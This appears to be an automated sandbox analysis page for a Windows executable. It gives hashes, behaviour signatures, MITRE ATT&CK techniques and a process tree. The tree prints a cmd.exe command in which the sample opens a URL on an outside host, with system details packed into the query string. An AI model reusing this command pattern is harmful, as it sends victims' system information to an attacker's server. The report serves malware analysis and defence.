082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f

Analysis

max time kernel
179s
max time network
195s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2022, 12:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f.exe
Size

143KB
MD5

6c07e3dc2dba97ae6f138a46cc43a232
SHA1

9e14f29e80d4b7d118f398344c7b417e26ac5998
SHA256

082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f
SHA512

05314ae6a6b06908f88854e6d67807a7c547cd506b6188d9d17143c7a42057996f0bfb9a56c1ce23318df60ee33dda1d96ce50483647708769d4f55ff0e36d21
SSDEEP

3072:iN6ZekwVJIlgps5q9Eb648qwlS/+TfQO45DwO:pe9IB83ID5UO

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2386679933-1492765628-3466841596-1000\Control Panel\International\Geo\Nation	082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
940	msedge.exe
940	msedge.exe
3532	msedge.exe
3532	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
3532	msedge.exe
3532	msedge.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1892	082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f.exe
3532	msedge.exe
3532	msedge.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
1892	082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1892 wrote to memory of 1480	1892	082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f.exe	84
PID 1892 wrote to memory of 1480	1892	082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f.exe	84
PID 1892 wrote to memory of 1480	1892	082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f.exe	84
PID 1480 wrote to memory of 3532	1480	cmd.exe	87
PID 1480 wrote to memory of 3532	1480	cmd.exe	87
PID 3532 wrote to memory of 1976	3532	msedge.exe	90
PID 3532 wrote to memory of 1976	3532	msedge.exe	90
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 3828	3532	msedge.exe	97
PID 3532 wrote to memory of 940	3532	msedge.exe	98
PID 3532 wrote to memory of 940	3532	msedge.exe	98
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99
PID 3532 wrote to memory of 828	3532	msedge.exe	99

C:\Users\Admin\AppData\Local\Temp\082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f.exe
"C:\Users\Admin\AppData\Local\Temp\082bc742e6ca3e0a1a69e28f7cf905e33219804e0c5e5804227edd613320876f.exe"
1⤵
- Checks computer location settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1892
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "start http://securedfileinfo.com/404.jsp?chid=5301121^&rsn=plde^&details=^|v6.2.9200x64sp0.0ws^|tt31^|dt0^|dc100^|fs-2^|dh0^|ec13^|se12007^|dr4^|ds0^|rs0^|p1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://securedfileinfo.com/404.jsp?chid=5301121&rsn=plde&details=|v6.2.9200x64sp0.0ws|tt31|dt0|dc100|fs-2|dh0|ec13|se12007|dr4|ds0|rs0|p1
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3532
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffa4a2146f8,0x7ffa4a214708,0x7ffa4a214718
      4⤵
      PID:1976
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2168,12476652466958363260,15962370582438875875,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
      4⤵
      PID:3828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2168,12476652466958363260,15962370582438875875,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2272 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:940
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2168,12476652466958363260,15962370582438875875,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2240 /prefetch:8
      4⤵
      PID:828
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,12476652466958363260,15962370582438875875,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3552 /prefetch:1
      4⤵
      PID:1712
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2168,12476652466958363260,15962370582438875875,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3556 /prefetch:1
      4⤵
      PID:4488

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1684

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads